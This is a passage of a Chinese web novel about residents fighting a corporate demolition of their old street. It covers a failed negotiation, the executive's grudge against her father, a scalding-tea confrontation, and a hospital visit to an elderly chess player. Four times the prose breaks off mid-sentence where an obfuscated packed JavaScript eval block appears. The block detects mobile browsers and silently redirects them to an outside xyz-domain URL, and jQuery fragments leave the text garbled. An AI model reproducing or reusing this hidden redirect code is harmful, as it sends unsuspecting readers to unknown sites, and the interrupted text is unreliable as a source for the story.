“反正安福楼在最里面,有茶馆在,有棋下,咱也没啥别的不满意了!” ...... 白老的关注点十分独特,他摸着拐杖头,面带微笑地看着白砚,又看了看一旁的余念念,十分满意地点头:“你们两个,配合得甚好啊!” 余念念的耳朵烫得更厉害,干笑一声:“我们没配合,各干各的。” 白老于是又夸张地一挑眉头:“哦?那就是心有灵犀喽?一个忙勘测,一个忙调研,正好互补上了,你说还有比这更美好的画面么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625087|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈哈哈。” 一旁的常主任本来也一脸赞许地点头,听着听着,被白老的遣词造句和刻意的笑声激得打了个寒颤,扭头瞟了他一眼,白老立刻收声,恢复他一贯沉稳优雅的长者形象。 “那么,白砚,小余,就由你们两个代表老街,向环锦提出这个初步方案,如何?”常主任说道。 余念念和白砚对视一眼,很快收回视线:“好,我们下午就去。” —————— 邀约是白砚发给尤佳的,得到的答复十分迅速且热情:有空,快来! 接待他们的许磊态度是殷勤的,早早地就在一楼大堂等着,一路帮他们按电梯,开门,倒热茶,笑容恳切,温和有礼。 只是,尤佳进到会议室里时,眼神落在坐在白砚身边的余念念身上,以及他们之间近到膝盖都差点挨在一起的距离,眉头微挑,眼中笑意消散不少:“原来余老板也来了!” 余念念想起尤佳在老街上对她直抒胸臆的那段话,下意识地往旁边挪了一下,将一拳不到的距离一下子拉到一个胳膊的距离,收获了白砚一个不理解的眼神。 只是,接下来讲方案的时候,两人一个介绍一个补充,一个刻意留白另一个丝滑切入,时不时对着白砚的本子一顿研究,那刻意空出来的距离又被压缩到几乎为零。 尤佳眼里的笑意淡成了水,听到一半,便出声打断:“二位的意思我懂了,我需要考虑一下,等考虑好了再给你们答复吧。” 职业经理人式干脆利落的应答,虽让人微微不爽,但话说得滴水不漏,令人无法指摘。 余念念点点头,站起身,便往外走,白砚跟在她身后,却被尤佳截断,音量放低,似乎只想让他一个人听到:“今天有空了么?我想跟你聊聊。” 余念念微顿的脚步迅速加快,但还是听到白砚拒绝的声音:“不好意思,一会儿还有事。” 下电梯,上出租车,一路无言。 车还没到老街,尤佳的信息发到了余念念手机上:【不好意思余老板,你们的方案我不能接受,环锦需要完整的老街地段,而不是阉割后的残缺品。】 余念念模拟着冷冰冰的语调念出这则短信,长叹一口气,看向白砚:“可能你一个人来效果会好点?” 白砚微微皱眉,低声道:“这个方案是我们俩一起完成的,我一个人讲不出来。” “那你为什么拒绝她的邀请?要是你答应跟她聊聊,说不定她的态度就不会这么抗拒了。”余念念循循善诱。 白砚紧盯她的眼睛,胸膛微微起伏:“这是你的真实想法么,让我去接近尤佳?” 余念念呼吸一滞,心里想着你确实是挺擅长美男计的,但看到他眼中闪过的一丝受伤和脆弱,立刻改口:“不,不是的,我们走正规路径,绝不让你牺牲色相!” 她转向窗外,内心一声哀嚎,突然对古代耽于女色的昏庸之主有了某种共情:要抗拒一只会勾人会示弱的狐狸精,可太难了吧! 另一侧,白砚也默默侧向车窗,在手机上给前一天告密的某个神秘人发消息:【再接再厉】。 57. 僵局 居委会二楼,常主任装修考究的会议室里,沉默已经延续了一阵子。 从环锦回来后,余念念和白砚马不停蹄赶到居委会,向常主任汇报了环锦的态度,说完后,三人便各自陷入思索。 眼前的僵局像是片沼泽,他们刚搭了块木板想下脚,便被这沼泽吞噬掉了。 “或许......我们入局得太快了。”白砚突然缓缓出声道。 “把时间往回倒一倒,崇安市政府不久前才邀请老街作为示范街区举办主题活动,紧接着,不到两个月,便答应了环锦集团拆除老街重建的提议,这个转变是不是有点突然?” 常主任思索片刻,点点头:“之前市政府指定的那次活动,老街举办得不错,离开的时候,文旅部的领导还是很满意的,只是,他刚走,就......” 常主任迟疑着,余念念替他说完:“就发生了陈帆母亲的事件,当时,舆论对老街十分不利......” 当时,何景明和项卓的爆料,一个指向老街商户的安全隐患,一个指向老街商户老板的个人作风,无论哪个,都对老街的风评造成了极为负面的影响。 “但是,这件事归根结底是个人原因,不应该和老街画上等号,市里就算对老街有疑虑,也应该直接与常主任联系,下达整改的命令。”白砚冷静的声音分析着。 “确实,我没有收到市里任何的整改建议,而是直接就收到了环锦集团将要重建老街的指令,现在想来,这有点奇怪。”常主任说道。 余念念看向白砚:“你是怀疑,环锦正好利用老街的负面新闻,向市里提交了拆除老街、重建商业中心的方案?” 白砚点点头:“如果是这样的话,就麻烦了,因为环锦比我们预想的还要早地占领了先机,不管是对老街过去的评断上,还是对老街未来的重建方案上。” 思索片刻后,余念念边从口袋里掏出手机,边说道:“或许,有个人可以帮我验证一下。” —————— 下午,丰岚办公楼对面。 贾福匆匆忙忙走入一家临街的咖啡馆,看到坐在角落里的余念念,冲她热情地挥了挥手。 余念念目视着他走过来,坐下,笑起来:“跟上次见面相比,你气色好了很多。” 贾福喝了一口余念念提前替他点好的咖啡,整个人十分放松地靠在椅背上,没了之前紧绷的状态,他看了眼余念念,长出了口气,说道:“项卓走了。” 余念念微微点头,不予置评。 “我的升职也泡汤了。”贾福又笑着接了句。 余念念扬了扬眉,心里斟酌着安慰的话术。 “哈哈,你那是什么表情!”贾福笑得更开,摆了摆手,“我能这么直白地跟你说出来,说明我已经不在乎这件事了。这就是我气色变好的原因,我现在吃得好睡得好,每天上班做好手头的项目,下班安心陪老婆孩子,再不想那些乌七八糟的事了。” 余念念跟着他笑起来,又装模作样上下打量他一番,点点头:“这么看着,还有那么点当年带我入职时当师父的样子。” 贾福被她说得又是一阵大笑,笑过后,正色道:“环锦和老街的事,我听说了,既然老街要拆了,要不要考虑回丰岚?你要是愿意回来,我保证,绝不会再辜负你。” 他的眼神十分真诚,余念念看了心里一暖,至此,两人间的前尘旧帐算是一笔勾销了。 “谁说老街要拆了?还没盖棺定论呢,再说了,就算要拆,怎么拆,什么时候拆,也不能任由它环锦说什么是什么!” 贾福看了眼她熟悉的不服输的表情,直起身子:“好!你说吧,我能帮上什么?” “丰岚是崇安市政府指定的广告合作商,那么,老街活动前后,你们肯定一直持续在和市文旅部沟通对接喽?” “那当然。” “那,老街活动结束后,市政府对老街的宣传态度,有什么转变么?尤其是跳楼事件发生的那段时间。” 贾福思索一阵子,边回忆,边缓缓道:“一开始,没什么转变,虽然那段时间闹得沸沸扬扬,但文旅部仍然让我们准备老街活动的后续物料,我和他们的人也聊了几句,他们说那是个体户的事,不影响市里的活动。但是,物料快做好的时候,他们突然又叫停了,那时候,舆论热度已经快降下去了。” 余念念忙问:“还记得是什么时候叫停的么?具体时间!” 贾福突然拍了下脑袋,掏出手机,嘴里嘟囔着:“看邮件就知道了!” 他在手机上翻了一会儿,终于抬头:“确定了,是四月十五号,清明节假期结束的一周之后。” ...... 一小时后,贾福已经离开,余念念独自一人坐在咖啡馆里。 “叮”地一声,手机收到条回复。 许磊:【尤总是清明节后回国的,回国后就一直在崇安推动老街的项目。】 刚刚,余念念以老街想回请尤佳和许磊为由,和许磊攀谈起来,顺势,便问了他尤佳回国的时间,和回国后的工作安排,因为和重建方案无关,许磊倒没表现出明显的防备心。或许,他才成为尤佳助手不久,对这个上司的个人信息边界并不十分了解。 余念念盯着这条消息看了良久,一个猜测逐渐在脑子里浮现。 —————— “你说,尤佳是出于个人意愿,想要拆除老街?” 颜喜书画斋里,白砚有些意外地问余念念。 “这只是我的个人猜测......”余念念沉吟着,“但之前和她一起逛老街时,我就觉得她有些行为很奇怪。照理说,人不是应该对小时候生活过的地方很怀念么?就算不怀念,路过了,也会想要回去看看吧?但她好像刻意避开她家的老房子,甚至连听到时,表情都不太好。” 白老这时也点点头:“上次,她来店里找我聊天,似乎也只对她和白砚一起去过玩过的地方感兴趣,对其他的一概不提,我问她她父亲的近况,也被她绕到别的事情上去了。” “这么看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642499|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是只有和白砚的记忆对她来说是美好的,其他的老街记忆,都不美好?”余念念分析着。 “咳!咳咳!”白砚像是突然呛到,猛地咳嗽起来,捶着胸口退到角落里默默倒水。 余念念看了几眼他颇为夸张的动作,将他暂时踢出抽丝剥茧颜喜侦探三人组行列,挽住白老的胳膊,问:“白爷爷,尤佳家的老铺子,之前是什么状况?” 白老回忆片刻,说道:“之前,是尤佳的父亲开了个餐馆,生意一直不温不火,突然之间,就转给了小蒋,哦,就是现在隔壁开裁缝铺的老蒋,转手之后,尤佳和她父亲就都从老街消失了。” 余念念瞄了眼白砚的背影,心想,也就是那时候,少年天仙遭受了人生第二次来自女人的伤害...... 几分钟后,颜喜三人组转场到了老蒋裁缝铺。 “老尤?切!那个老赌棍,前不久还找我要钱呢!”听到白老打听尤佳父亲,老蒋立刻露出一脸不齿的表情,大声吐槽道。 余念念和白砚交换一个眼神,忙追问:“前不久是什么时候?他为什么找您要钱?” 老蒋本来就一肚子火不吐不快,这下倒豆子似的全都抖搂出来:“清明节前后吧,他又是找上门,又是给我打电话,找我要钱,说之前店铺转给我价格要得太低,他吃了大亏!那我能答应么?都多少年前的事了也好意思拿出来说!再说了,之前他急着转手给我就是因为赌钱输了被人追在屁股后面喊打喊杀,他害怕!白纸黑字定好的价格,他现在不认账啦,有那道理么!要我说啊,肯定是又赌钱赌输喽!他这人呐,就是狗改不了吃屎!” 老蒋越说越气,音量逐渐收不住:“他还吓唬我呢!说他女儿现在在大公司当大领导,分分钟就把我的铺子买下来让我吃不了兜着走!都给我气笑了,我说,你女儿这么有能耐,怎么不替你还债啊,肯定是你不当人,人家不认你这个爹喽!他听了,跟夹了尾巴的猫似的,炸毛了,骂骂咧咧地走了,肯定是被我说中了!” —————— 颜喜三人组三脸震惊地回到了颜喜书画斋。 真是灯下黑。老蒋不爱下象棋,人又宅,在老街上十分没存在感,别说跟余念念了,就是跟一巷之隔的白老都不怎么来往,于是,这些消息就止步于老蒋裁缝铺内。 “念念,你打算怎么做?” 见余念念盯着手上从老蒋那要到的尤佳父亲的电话号码发呆,白砚忍不住问。 “我......”余念念抬头,有些无所适从地看了他一眼,同时又觉得十分荒谬。 如果真的如她所猜测,一切的起因是因为尤佳的个人恩怨,那他们下一步到底要怎么做? 帮助尤佳解开心结?他们是老街守护者,可不是心理疏解师。 继续和环锦商讨方案?可身为环锦高管的尤佳心结一天不解,他们就一天无法变被动为主动。 “念念!”白砚眼里闪过担忧,扶着她的肩膀,正色道:“不管你想做什么,记得和我一起!” 58. 死局 “不管你想做什么,记得和我一起!” 独自一人站在环锦集团楼下时,余念念耳边响起白砚的这句话,不由得心里一声叹息——真不知道该说他的预感准确,还是该说他对她了解深刻。 但白砚终究是尤佳的老同学,少年时期的陪伴最纯粹,她不想破坏他们两之间的这份旧情。 深呼吸一口后,她迈进环锦大楼。 前台工作人员给尤佳办公室打电话时,那边传来的声音有一丝意外,但没有直接拒绝,沉默几秒后,淡淡道了句:“请余小姐上来吧。” 进到尤佳办公室,她脸色看不出阴晴,介于热情与冷淡之间,又带着一丝探究。 “余老板这次怎么一个人来?” 很好,她又变回“余老板”,而不是“念念”了,看来上次余念念和白砚的联合到访以及白砚的拒绝让她到现在还心怀芥蒂。 但余念念懒得管这些了,她关上尤佳办公室看上去隔音良好的门,径直走到尤佳办公桌对面的椅子边,坐下,单刀直入地问:“尤总,你真的要因为个人的恩怨,将整条老街毁掉么?” 尤佳瞳孔霎时剧震,身体一瞬间僵硬了,眼睛死死盯着她,厉声问:“你说什么?!” “我想确定,你是不是一定要将老街从崇安市的地图上抹掉,才能消除你对你父亲的愤恨。” “闭嘴!”尤佳怒吼着,胸膛在精致的白色西装下剧烈起伏,眼里逐渐布满不可思议,“你怎么敢提我父亲!你有什么资格?!” 余念念深吸一口气,尽量保持着语调的稳定:“首先,我为触及到你的隐私向你道歉,我并不想刻意窥探,但环锦和老街之间的谈判事关老街上所有人的未来,我不得不深入到任何一种可能性当中去,当我了解到一切的源头可能是你和你父亲之间的个人恩怨,我觉得,这对老街来说太不公平了。” 尤佳发出声尖锐的嗤笑:“了解?源头?都是你的猜测罢了,你凭什么下这个定论,还拿这个莫名其妙的定论来我办公室发疯?!” 沉默几秒钟后,余念念举起手机,向尤佳展示屏幕上的一条通话记录,数字显示这则通话持续了二十多分钟。而尤佳的目光在接触到屏幕上的电话号码时彻底被钉住。 “我给你父亲打过电话了,从他那里了解到,你清明节前还在环锦的海外分部,丝毫没有要回国的意向。清明节期间,因为他打电话找你要钱,遭到你的拒绝,他不得不找老街开裁缝铺的老蒋讨要并不合理的房屋转让金,再一次受挫后,他又一次联系你,我猜测,这次通话中他提到了老街,彻底触发了你的怒火,接下来,你火速调回环锦崇安分部,说服崇安市政府,开始推动老街拆除改造方案。” 她顿了顿,补上最后一句:“一切的起因,是你们父女之间积攒了十几年的怨恨,而老街,只是你报复你父亲的陪葬品。” 唰! 话音未落,滚烫的茶水泼面而来,余念念下意识扭过头去,但一侧下巴往下,一直蔓延到前胸的位置立刻感到一阵火辣辣的疼痛。刚端上来不到十分钟的热茶就这么被尤佳全部泼到她身上。 余念念咬紧牙关忍下痛意,眼睛紧紧盯着尤佳,眼神是豁出去似的坚定:“尤佳,这杯水就当是我私下联系你父亲的赔罪,我受下了,我只想听你一句实话,你是不是一定要将老街彻底抹掉才罢休?!” 尤佳瞪着余念念的一双眼睛布满红色的血丝,不知是哭还是恨,瞪了良久,她一点一点收回视线,声音由之前的愤怒转为冰冷:“别白费力气了,余老板。你似乎还没理解现在的局面?那我来仔细说给你听。对崇安而言,环锦是优质企业,老街是风评不佳的老旧街区,环锦愿意接手老街是百利而无一害的局面。对环锦而言,我提出的打造全新商业中心的方案完全符合公司发展战略和利益导向,没有任何理由遭到拒绝。有了以上这两点,你刚刚所提到的,我个人怀揣的私心,有人会在意么?还重要么?” 尤佳脸上露出类似怜悯的表情,缓慢地摇了摇头,语调哀婉:“余老板,你面对的,是死局。” “所以,不会有任何居中方案,在你心中,老街只会有一个结局,对么?”余念念平静地问。 “是。”尤佳冷硬地说道,“今天之后,我会加快推进项目进度,该搬的搬,该拆的拆,只要钱到位,没有赶不走的人,就算是你们眼里拆不了的安福楼,我也要把它买下来打造成我环锦旗下的新地标,而不是你老街留下的旧残片!” —————— 从尤佳办公室出来后,余念念在卫生间里一遍一遍地用冷水打湿纸巾,按在颈下,压下灼热的痛意。 湿透的内搭针织衫被脱下,内衣外只包裹上大衣,她小心地将大衣领子立起来,不让边角触碰到烫伤的皮肤,缓缓走出环锦大楼。 刚走没几步,迎面一团黑色影子将她罩住,抬头看,白砚喘着粗气,低头看她,显然是赶来的匆忙。 “你怎么来了......”余念念有些心虚地低头,但还是晚了一步,下巴上的红色引起了白砚的注意。 他将余念念的下巴抬起,顺着那道红色看下去,看到整片烫红的脖颈,又看到红色的隐约遮在衣领下的锁骨,手抬起,轻轻拨开衣领,这才意识到里面没有了遮掩,忙又帮她把领子收紧,视线一点一点攀升回到她的眼睛。 余念念注意到他的眼睛一点一点变红,胸膛起伏得一下比一下剧烈,连忙安抚:“我没事,就是烫了一下......不是一百度的那种开水,可能只是九十度?八十度也说不定......” 安抚十分苍白,白砚盯着她,眼神里混杂着心疼和挫败,被她悉数看懂,音量逐渐缩小,低头道:“这件事我真的没办法拉上你一起,你和她是从小一起长大的,她被我这么一个不相干的人戳破心结都这么失态了,要是有你在场,那对她也过于残忍了......” 白砚没说话,垂下眼睫,从脖子上解下围巾,轻轻披到余念念肩膀上,在衣领外松松打了个结,拉着她走向路口的出租车。 一路无言。 进了颜喜书画斋,还没来得及跟柜台后的白老打一声招呼,余念念被白砚拉着进了后屋,推进一间房间。 一阵熟悉的皂香味扑面而来。 她从没进过白砚在颜喜斋的房间,有些局促地在房间中央站着,看着白砚将房间空调温度调高,从衣柜里拿了件白色衬衣递过来,又背过身,在房间角落里翻找着什么。 翻了一会儿,他转身,见余念念还捧着衬衫愣在原地,轻轻叹了口气,低声道:“把衣服换上。” 说着,他出了房间,几分钟后,端了杯水重新进门时,余念念已经换上衬衫,坐在了床边。 房门被白砚关上,余念念一下子觉得温度调得有点过高,她接过白砚递过来的温水,一口气灌了下去。 下一秒,白砚的手伸了过来,解开了她系到最顶上的两颗衬衫纽扣。 她一动不敢动,呼吸的节奏却已然被打乱。 “没找到棉签,我用手可以么?”白砚拧开刚刚翻出来的药膏,单膝跪地蹲在她面前,看着她的眼睛问。 她僵硬地点点头,胸口紧张的起伏此时暴露无遗。 白砚的手指沾着白色膏体,点在她的脖子上,又缓慢而轻柔地顺着脖颈均匀抹开。 从上,往下。从脖子,到锁骨。 过了锁骨,再往下,修长的手指硬生生顿住,他紧紧盯着视线正前方那片泛红的皮肤,良久,垂下脑袋和手臂,整个人也颓丧地塌了下来。 “我到底该怎么做......” “我原本以为,你离开的那段时间是地狱,现在,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余念念开门的动作一顿,她不喊白砚一起去的原因正是不想破坏他们两人的少年情谊,没想到,在尤佳眼里,这是一场他们俩合伙撕开她伤疤的不平等宣战。 叹息一声拉开门,一只拐杖映入眼帘,余念念抬头,猝不及防和白老大眼瞪小眼。 “白爷爷,您这是......”在偷听? “哦!我正要敲门呢!”白老一本正经,“该吃晚饭了,小余,留下来跟我们一起吃吧?” 白砚一脸“我就知道”的表情,越过两人,向厨房方向走去,一边挽起袖子,一边道:“我去做饭。” —————— 深夜,沈童家。 余念念正对着电脑屏幕发呆,沈童从房门外伸了个脑袋进来,手上举着什么舞了舞:“涂药!” 余念念乖乖坐在椅子上,任由沈童将她衣领扒开,接着,冰凉的药膏接触到皮肤,她才恍然回过神来,低头看着沈童手里眼熟的同款烫伤药膏,发出疑惑:“这个药膏很有效么?怎么所有人家里都备的这款?” 沈童动作一僵,干笑两声:“呵,是吧......瞎买的。” 余念念又意识到什么,脖子微微后倾,盯着沈童的眼睛:“不对,你怎么知道我烫伤了?” 沈童眼珠子乱飞了一阵,接着,目露凶光,瞪着她道:“你什么事情能瞒住我?一进门我就看出来了!下巴上那么红一片!怎么,还想瞒着我?” 余念念狐疑地凑向化妆镜,小声嘀咕:“很红么?” 被沈童一把扯回来:“别动!” 涂完药膏,沈童边往外走,边赶紧往某神秘小群里扔消息:【任务完成,差点露陷儿,下次要提前核对好话术!】 房间里,看着沈童的身影消失在房门外,余念念将视线移回到电脑屏幕上——一封只有收件人的空白邮件霸占着屏幕,她已经对着这片空白发了一晚上呆了。 深呼吸几口后,她坐直身体,在邮件正文上缓缓敲出第一行字。 59. 残局 尤佳的话很快成为了现实。 接下来的一段时间,老街上流转的话题似乎只有一个——谁家又和环锦集团谈妥,同意拿钱搬走了。 一些家里只有年轻人的家庭成为环锦首批攻克的对象,他们不像老一辈般对老街和过去怀着某种眷恋,他们更看重未来的日子,开开心心拿了钱转头便可以奔赴一个更宽敞、更光鲜的居住地。这本就是无可厚非的事。 但环锦——或者说尤佳——的手段远不止于此。环锦承诺这些首批答应搬走的住户,待整个老街同意搬走的住户达到某个比例后,会再给他们追加一笔可观的补偿。因为这笔补偿,老街被分裂成了两股近乎敌对的群体。 “隔壁的老田家昨晚又吵到半夜,隔着墙,我都听到他儿媳妇喊:‘不同意就离婚!’......” 茶馆二楼,李婶顶着没休息好的黑眼圈,跟一旁的老潘交换消息。 隔了几个座位,魏大爷一脸愤懑:“他们这么大一个公司,怎么能出这种阴招?!哼!要是有人敢来劝我,看我不把他骂到跳栈南河!” 情绪激动地说完,他平复了一阵,又转头看向余念念,语调里带了一丝难以掩饰的绝望:“小余,真的没有别的方法了么?那个尤佳,就这么容不得我们这些老人守着一块老地方?” 余念念心头一痛,不敢多看一眼魏大爷的眼神,怕下一秒就会红了眼眶,她垂下眼睫,低声道:“她不接受中间的方案,我们做再多让步,也是无用功......除非......” 她脑中闪过一丝渺茫的希望,但止住了话头——眼下,给出去的任何希望都可能变成更沉痛的绝望,她不敢想象魏大爷这样在老街住了一辈子的独居老人将来被赶出老街时,该有多难过。 整个二楼一片愁云惨淡,连常主任和白老两个主心骨都低着头,叹气不语。 “老王!” 一声呼喊突然从一楼传上来,紧接着,桂云婶的脑袋从楼梯上冒出来,气喘吁吁地冲着众人招手,“老刘,老刘他,心脏病发作,被120接走了!” —————— 第二天下午。 崇安市人民医院住院部里乌泱泱涌进一群人,护士站的值班护士如临大敌,从椅子上蹿了起来,硬着脖子拦在这群人面前,一脸既害怕又勇敢的样子。 余念念从人群后边挤到最前面,示意身后的象棋大爷们将音量压低,又冲小护士露出个歉疚的笑意,低声问:“请问刘天水刘大爷住哪个病房?” 老街众人前一天得知刘大爷被120拉走后,都替他捏一把汗,好不容易等到他转入普通病房的消息后,下棋的大爷们便迫不及待地要来医院看望他。余念念思索再三,也跟着一起来了,见她来,白砚也毫不意外地加入。 小护士警惕地打量着余念念,眼神又在人群里来回瞟了一圈,问:“你们都是来探望他的?” 这时,白砚也挤上前来,站在余念念身边,温声答道:“我们分批进去,不会吵到别人,麻烦你。” 小护士脸上微微泛红,冲走廊深处一指:“倒是不用分批,他住单人间,在最里面一间,你们去吧,别让病人情绪太激动就好。” 一群人于是排着队安安静静挤到走廊深处,病房门口,众人踌躇一阵,将魏大爷推到了最前面。 “老魏你打头!” “对,老刘最想见的人恐怕是你。” “没错,老刘做梦都希望你能重新接纳他回到下棋圈里!” 魏大爷长叹一口气——从昨天听到消息的那刻起,他的心就没松下来过。之前,因为茶馆的事,他气刘大爷没有无条件站信任余念念,后来,虽然刘大爷大义灭亲将自己女婿做的丑事曝光出来,但他还是没给老刘好脸色,两人之间一直梗着一道刺。 但昨天,听到刘大爷被救护车拖走的那一刻,魏大爷整个人就丢了魂一样,嘴里一刻不停念叨着:“老刘可千万别出事......老刘可千万别出事......” 一直念叨到中午,刘大爷情况稳定的消息传回老街时,他才像回了魂似的停止了念叨。 余念念在后面轻轻推了推魏大爷,低声道:“我们两个一起,把这个结解开,老街不能再有更多遗憾了。” 魏大爷身子一颤,回头看了眼余念念,重重地点了点头。 轻轻敲了两声门,一道中气十足的“进来!”从门里传来,听得众人相视一笑,纷纷点头小声嘀咕:“还得是老刘!”“看来恢复得挺快!”...... 推门进去,单人间里,刘大爷半躺在病床上,瞪着门外,一见到魏大爷和余念念,目光里的蛮横登时消散了,取而代之的,是几分无措。 “老魏,小余,你们怎么来了......” 魏大爷搓了搓手,又挠了挠头,背着手在病房里转了一圈,才找到个不咸不淡的开场白:“这单人间不错,你女儿孝顺,舍得给你花钱。” 不料,刘大爷听了这话,脸上吹胡子瞪眼睛地抖动起来:“她对我好?她为我好就不会跟她那狗屁男人一起气我了!” 魏大爷连忙坐到床边,拍拍他的肩膀:“老刘你别激动!狗屁女婿可以不要,身体可是自己的,你不是还想跟我们一起下棋么?等你身体养好了,我每天第一局棋都留给你,好不好?” 一旁站着的王大爷接道:“我也留给你!今年,老街棋王你说不定真能拿到!” 身后一众大爷跟着应和。刘大爷挨个看过去,末了,自嘲地笑了一声,摇摇头,叹道:“我刘天水在老街行得正坐得直,一辈子了,到最后,脊梁骨被自家人打弯了......” “一件事,是孙伟背后陷害小余,害得陈帆没了妈,害得小余没了茶馆,害得兄弟们没了下棋的地方......另一件,是我自己的女儿为了个没骨气的女婿,逼着我签同意书,我老刘是什么人啊,我能签那玩意么?我能背叛咱们这些老家伙么?我不能签啊!” 说着,他红了眼眶,抬手在眼下一拂,手刚要放下,被魏大爷一把拉住,在他手背上拍了拍。 “老伙计,孙伟的事,你不知情,我和小余都不怪你了。至于签字,咱们这个年纪的人,得认清现实,我没家没口的,没指望,可以抗到底。你呢,有家有口,还指望女儿女婿尽孝送终,终归还是要向现实低头的,这不算啥背叛,我们也不会怪你。” 一席话说完,屋内一群年事已高的大爷们无不感到一阵凄凉,几道叹息伴随着几道啜泣声响起。 余念念连忙凑到床边,一手拉住魏大爷,一手扶住刘大爷,安抚道:“咱们别这么悲观!还没到最后的时候呢,况且,就算老街不在了,我们都在崇安,以后还是能聚的,不是么?” 刘大爷长叹一声,靠在床头,说道:“小余,还年轻,还不能体会我们的心情。对我们这些老家伙来说,离开老街,往后的生活,就是一盘残局了。” 魏大爷发出声苦笑,摇了摇头:“老刘,你形容得秒,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739772|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的老街,可不就是一盘残局么......” —————— 临近傍晚,余念念和白砚先行离开,留下大爷们陪着刘大爷过过棋瘾。 从医院走回老街的路程不长不短,余念念步行走着,陷在思绪里,一旁,白砚也不打扰她,就这么在她身旁陪着走,时不时,替她挡着穿过身边的车流和人流。 走到老街路口,越过公告牌,一道熟悉的身影立在茶馆对面的屋檐下,抬着头,定定望着茶馆天台。 余念念脚步顿住,停在原地确认了片刻,才慢慢向那人走去。 “陈帆。”她喊了声。 依旧是一身黑衣的陈帆收回视线,看向余念念的眼神里闪着亮光,跟余念念最后一次在茶馆楼下见到他时的样子大相径庭。 “你变了,变得更好了。”余念念由衷说道。 陈帆笑起来,脸上丝毫不见之前在老街时常带的紧张,整个人看上去十分放松:“你没变,还是跟原来那么好。” “在外面过得好么?”余念念问。 “好,一个城市接一个城市的流浪,在每个城市生活时,就做一名职业调酒师,也算是成为了我想成为的人吧。” 余念念眼中泛起笑意,叹道:“说起来,我还没喝过你调的酒呢。” “你想喝的话,我随时都可以给你调。”陈帆说得认真。 余念念点点头:“那这次回来,还走么?” 陈帆表情有一闪而过的僵硬:“我只请了两天的假,听说老街要拆了,我回来把我妈的骨灰带走。” 余念念眼里的笑意瞬间黯淡了,深呼吸一口,压下了这些持续不断积攒下来,下午时被“残局”二字加重,此时已濒临决堤的某种情绪,微微点了点头。 一只手按在她的肩膀上,轻轻拍了拍,她转身,看了眼白砚担忧的目光,微微摇了摇头,下一秒,又冲陈帆露出个笑脸,往巷子里一扬下巴:“走!一起吃晚饭!” “等等!”陈帆喊了声,掏出手机,点了什么,接着,余念念口袋里手机响了起来。 “我的新号码,下次,路过我的城市,打给我,我调给你喝。” 余念念在手机上存下陈帆的名字,冲他招了招手,率先往巷子里走去。 身后,陈帆盯着她的背影深深地看了良久,视线收回,落到自己的手机上,屏幕中,“北极星小姐”几个字让他嘴角微微上扬。 突然,他察觉到什么,扭头看向一侧,白砚清清冷冷站在那里,观察着他的眼神里透露出一丝了然。 他霎时有些局促,将手机收到兜里,嘴里说着:“放心……” 至于“放心”什么,他却顿住,半天说不出来,片刻后,短促而自嘲地笑了声,低下头去。 白砚走近他,和他并排立在那里,看向前方逐渐走远的背影。 “逢年过节时,给她发条信息,报个平安,她很多事情不爱说出来,但我知道,她心里是挂念的。” —————— 当晚,余念念又发出封邮件——一如她这两周来每天晚上一样。 邮件的最后,她写道: 【刘大爷病了。不懂他的人迫不及待要离开老街,懂他的人却不得不面对即将到来的分别。人到暮年,不该只能面对人生的残局。】 【陈帆回来了,明天,他就要从老屋院子里挖出他母亲的骨灰来,带走。对老街眷恋最深的人,最终还是无法在这片土地上安眠。】 60. 破局 “再这样逼我们,我们就去环锦大楼下面拉横幅,去抗议!”李婶愤愤道。 “我带上我的铁拐杖去他们楼下静坐,投诉他们伤害残疾人。”老潘闷声说。 “实在不行,我让我那倒霉儿子找个他买得起的地皮,盖个小楼,把老街上这些老家伙还接到一起住,这样,也不至于太过孤单......”白老叹息道。 “老白,你儿子做的是生意,不是慈善。况且,这些老家伙想留住的,不是随随便便一栋房子,是老街,有街有道,有家有院,出去可以步行到市中心,回来可以在栈南河边遛弯的,长坪老街啊。”常主任苦笑道。 ...... 茶馆二楼,毫无头绪的讨论声持续着,这已是即将失守的组织——“老街守护者联盟”近几次会议的常态,众人都失去了商讨办法的力气,只顾着抒发心里的情绪。 余念念盯着眼前的桌面,怔愣着,直到被身旁的白砚轻轻摇晃了一下肩膀。 “念念,”白砚靠近了看着她的眼睛,“在想什么呢?” 她恍惚回过神,看了眼时间,站起身:“这时候,陈帆应该在他们家院子里......我想去陪陪他......” 